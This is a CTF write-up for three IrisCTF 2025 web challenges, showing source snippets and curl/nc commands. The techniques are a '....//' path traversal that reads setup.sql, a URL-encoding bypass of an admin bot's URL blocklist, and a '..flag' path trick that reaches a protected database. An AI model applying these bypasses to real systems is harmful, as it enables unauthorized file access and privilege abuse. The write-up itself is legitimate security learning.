IrisCTF 2025 - Writeups
The IrisCTF took place during the first week end of January 2025 and I decided to solve some web challenges. You will find my writeups below 😉
Password Manager
When visiting the website, we encounter the following webpage.
With the source code provided, we can go through to pages function to see what endpoints are available.
func pages(w http.ResponseWriter, r *http.Request) {
// You. Shall. Not. Path traverse!
path := PathReplacer.Replace(r.URL.Path)
if path == "/" {
homepage(w, r)
return
}
if path == "/login" {
login(w, r)
return
}
if path == "/getpasswords" {
getpasswords(w, r)
return
}
fullPath := "./pages" + path
if _, err := os.Stat(fullPath); os.IsNotExist(err) {
notfound(w, r)
return
}
http.ServeFile(w, r, fullPath)
}
The comment at the begining of the function puts us on the right track.
So after looking for the PathReplacer declaration, we find that it simply replaces "../" by an empty string :
var PathReplacer = strings.NewReplacer(
"../", "",
)
Since this function does not make any recurive checks, we can exploit it with this payload :
../ => ''
....// => '../'
Using curl, we see that our exploit works and we get few files the parent directory.
curl --path-as-is 'https://password-manager-web.chal.irisc.tf/....//'
<!doctype html>
<meta name="viewport" content="width=device-width">
<pre>
<a href="app">app</a>
<a href="data/">data/</a>
<a href="entrypoint.sh">entrypoint.sh</a>
<a href="pages/">pages/</a>
<a href="setup.sql">setup.sql</a>
<a href="users.json">users.json</a>
</pre>
After requesting setup.sql, we get the flag 🏴☠️
curl --path-as-is 'https://password-manager-web.chal.irisc.tf/....//setup.sql'
CREATE DATABASE uwu;
use uwu;
CREATE TABLE IF NOT EXISTS passwords ( URL text, Title text, Username text, Password text ) DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE utf8mb4_0900_as_cs;
INSERT INTO passwords ( URL, Title, Username, Password ) VALUES ( "https://example.com", "Discord", "skat@skat.skat", "mypasswordisskat");
INSERT INTO passwords ( URL, Title, Username, Password ) VALUES ( "https://example.com", "RF-Quabber Forum", "skat", "irisctf{l00k5_l1k3_w3_h4v3_70_t34ch_sk47_h0w_70_r3m3mb3r_s7uff}");
INSERT INTO passwords ( URL, Title, Username, Password ) VALUES ( "https://2025.irisc.tf", "Iris CTF", "skat", "this-isnt-a-real-password");
CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'password';
GRANT SELECT ON uwu.passwords TO 'readonly_user'@'%';
FLUSH PRIVILEGES;#
Political
When browsing the challenge website, we find the following page.
If we click on Redeem, we receive a message : Nice Try.
After reviewing the source code, we understand that our token must be part of the valid_token dictionary, and its associated value must be True.
@app.route("/redeem", methods=["POST"])
def redeem():
if "token" not in request.form:
return "Give me token"
token = request.form["token"]
if token not in valid_tokens or valid_tokens[token] != True:
return "Nice try."
return FLAG
By default, when going on index.html, a token is created and added, but of course it is set to False.
@app.route("/token")
def tok():
token = secrets.token_hex(16)
valid_tokens[token] = False
return token
The giveflag endpoint is the only one that can validate a token, but it requires admin rights, which we can’t have.
@app.route("/giveflag")
def hello_world():
if "token" not in request.args or "admin" not in request.cookies:
return "Who are you?"
token = request.args["token"]
admin = request.cookies["admin"]
if token not in valid_tokens or admin != ADMIN:
return "Why are you?"
valid_tokens[token] = True
return "GG"
Fortunately, for this challenge, we can interact with a bot that has admin privileges. The only restriction on it is present in the policy.json file. The configuration blocks the bot from going to the previous endpoint.
{
"URLBlocklist": ["*/giveflag", "*?token=*"]
}
We can try to bypass it using URL encoding and see if it is case sensitive.
HOUHOU it works ! We can get our flag with the following commands 🏴☠️
$ curl https://political-web.chal.irisc.tf/token
c68981194ab0d5e38be197ba689da90d
$ nc political-bot.chal.irisc.tf 1337
== proof-of-work: disabled ==
Please send me a URL to open.
https://political-web.chal.irisc.tf/givefl%61g?t%6fken=c68981194ab0d5e38be197ba689da90d
Loading page https://political-web.chal.irisc.tf/givefl%61g?t%6fken=c68981194ab0d5e38be197ba689da90d.
timeout
$ curl -X POST https://political-web.chal.irisc.tf/redeem -d 'token=c68981194ab0d5e38be197ba689da90d'
irisctf{flag_blocked_by_admin}
Bad-Todo
After downloading the challenge sources and run it, we find the following webpage which is about configuring OpenID.
Since I am not familiar with this, I first checked in the source to find where the flag is stored, and I found the prime_flag.js file.
export async function primeFlag() {
if (existsSync(process.env.STORAGE_LOCATION + "/flag")) {
await fs.chmod(process.env.STORAGE_LOCATION + "/flag", 0o700);
await fs.rm(process.env.STORAGE_LOCATION + "/flag");
}
const client = createClient({
url: `file://${process.env.STORAGE_LOCATION}/flag`
});
await client.execute("CREATE TABLE todos(text TEXT NOT NULL, done BOOLEAN)");
await client.execute("INSERT INTO todos(text, done) VALUES(?, ?)", [process.env.FLAG, true]);
await client.close();
await fs.chmod(process.env.STORAGE_LOCATION + "/flag", 0o400);
}
We understand that we will have to access the database called flag and read the table todos.
After digingg into the code, we find that the database’s path for each client is the result of the getStoragePath function which takes two parameters that we can control: idp and sub.
export async function getUserTodos(idp, sub) {
const client = createClient({
url: `file://${getStoragePath(idp, sub)}`
});
const rows = (await client.execute("SELECT *, rowid FROM todos")).rows;
await client.close();
return rows;
}
In the code snippet below, we discover that the function returns a path with the first folder being the sha256 value of idp. Then, the sub variable is divided into two variables : first2 and rest, which stand for the remaining parts of the path.
export function getStoragePath(idp, sub) {
const first2 = sub.substring(0, 2);
const rest = sub.substring(2);
const path = `${sha256sum(idp)}/${encodeURIComponent(first2)}/${encodeURIComponent(rest)}`;
return sanitizePath(path);
}
The final result is then the output of the sanitizePath function discribed below :
export function sanitizePath(base) {
const normalized = path.normalize(path.join(process.env.STORAGE_LOCATION, base));
const relative = path.relative(process.env.STORAGE_LOCATION, normalized);
if (relative.includes("..")) throw new Error("Path insane");
const parent = path.dirname(normalized);
mkdirSync(parent, { recursive: true });
return normalized;
}
The vulnerability here is that no checks are done on the final destination, so it could be any path.
When providing a sub value as "..flag", we will get the following result :
1. idp => random => sha256 => 87c1b129fbadd7b6e9abc0a9ef7695436d767aece042bec198a97e949fcbe14c
2. sub => ..flag
3. first1 => ..
4. rest => flag
5. path => 87c1b129fbadd7b6e9abc0a9ef7695436d767aece042bec198a97e949fcbe14c/../flag
6. normalize => /flag
After configuring of all the endpoints using beeceptor, we get the flag on the home page 🏴☠️